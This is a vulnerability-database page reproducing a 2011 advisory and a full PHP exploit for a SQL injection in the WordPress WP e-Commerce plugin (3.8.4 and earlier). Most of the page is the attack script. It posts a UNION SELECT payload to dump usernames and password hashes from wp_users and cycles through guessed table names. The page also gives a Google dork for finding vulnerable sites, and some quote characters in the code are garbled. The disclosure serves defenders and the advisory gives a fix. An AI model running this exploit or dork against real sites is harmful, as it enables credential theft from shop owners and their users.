Lucene search
K

WordPress e-Commerce 3.8.4 SQL Injection

🗓️ 19 Jul 2011 00:00:00Reported by IHTeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

WordPress e-Commerce 3.8.4 SQL Injection vulnerability in WP e-Commerce plugi

Code
`Original Advisory:  
http://www.ihteam.net/advisory/wordpress-wp-e-commerce-plugin/  
Plain text here:  
http://www.ihteam.net/advisories/_561684984189_wp-e-commerce_384_sqli.tar.gz  
  
<?php  
/*  
WP e-Commerce <= 3.8.4 SQL Injection  
Download link: http://wordpress.org/extend/plugins/wp-e-commerce/  
Author contact: 29/06/2011  
Exploit published: 18/07/2011  
  
Bugged code (wpsc-theme/functions/wpsc-user_log_functions.php):  
foreach ( (array)$_POST['collected_data'] as $value_id => $value ) {  
$form_sql = "SELECT * FROM `" . WPSC_TABLE_CHECKOUT_FORMS . "` WHERE  
`id` = '$value_id' LIMIT 1?;  
$form_data = $wpdb->get_row( $form_sql, ARRAY_A );  
  
FIX: Upgrade to new version  
  
Bug found by: IHTeam  
For GetShopped as their security auditors  
  
This code has been released under the authorization of GetShopped staff.  
It will show user_login and user_pass of wp_users table;  
  
Google Dork: inurl:page_id= "Your billing/contact details"  
Follow us on Twitter! @IHTeam  
*/  
function help() {  
echo "\n";  
echo " -------------------WP e-Commerce <= 3.8.4 SQL  
Injection---------------\n\n";  
echo " How to use: php wp-ecommerce.php host path page_id  
[table_name]\n\n";  
echo " host = Domain name\n";  
echo " path = Path of WordPress\n";  
echo " page_id = Int value of the login page of WP  
e-commerce\n";  
echo " table_name = Default is wp_users\n\n";  
echo " Example: php wp-commerce.php www.domain.com /wordpress/ 11  
wp_users\n\n";  
echo "  
----------------------------------------------------------------------\n\n";  
}  
  
function exploit($host,$path,$pageid,$table) {  
$url = $host.$path."?page_id=".$pageid."&edit_profile=true";  
$buggy_code=urlencode("-2? UNION ALL SELECT 2,  
concat(user_login,':',user_pass), 'email', 1, 1, null, 1, 2,  
'billingfirstname', null, 0 from ".$table." WHERE  
'1?='1?);  
$ch = curl_init();  
  
curl_setopt($ch, CURLOPT_URL,$url);  
curl_setopt($ch, CURLOPT_POST, 3);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);  
curl_setopt($ch, CURLOPT_TIMEOUT, 10);  
curl_setopt($ch,  
CURLOPT_POSTFIELDS,"collected_data[".$buggy_code."]=&submit=Save+Profile&submitwpcheckout_profile=true");  
$result= curl_exec ($ch);  
curl_close ($ch);  
  
echo "Now using table name: $table... ";  
  
preg_match("/<span  
class=\"wpsc_error_msg_field_name\">(.*?)<\/span>.<br \/>/",  
$result, $matches);  
if ( !isset($matches[1]) )  
$msg="Wrong table name or not vulnerable\n";  
else  
$msg="Credential found: ".$matches[1]."\n";  
  
return $msg;  
  
}  
  
if ( isset($argv[1]) && isset($argv[2]) && isset($argv[3]) ) {  
if (isset($argv[4]))  
$table = $argv[4];  
else  
$table = "wp_users";  
  
$host = $argv[1];  
$spos=strpos($host, "http://");  
if(!is_int($spos)&&($spos==0))  
$host="http://$host";  
  
$path = $argv[2];  
$pageid=(int)$argv[3];  
  
/* Detecting the version, if possible */  
$version =  
file_get_contents($host.$path.'wp-content/plugins/wp-e-commerce/readme.txt');  
preg_match("/Stable tag: (.*)/", $version, $vmatch);  
  
if ( !isset($vmatch[1]) )  
$version="Not detectable\n";  
else  
$version=$vmatch[1];  
  
echo "Version: ".$version."\n";  
/* End of version detecting */  
  
/* Executing exploit */  
preg_match('/[^.]+\.[^.]+$/', $host, $hmatch);  
$host_name=str_replace('http://',",$hmatch[0]);  
  
$tarray = array($table, 'wordpress_users', '_users', 'users',  
'wpusers','wordpressusers', $host_name.'_users',  
str_replace('.',",$host_name).'_users',  
str_replace('.',",$host_name).'users' );  
  
foreach($tarray as $index => $val) {  
echo exploit($host,$path,$pageid,$val);  
}  
/* End of exploit */  
} else  
help();  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jul 2011 00:00Current
0.1Low risk
Vulners AI Score0.1
19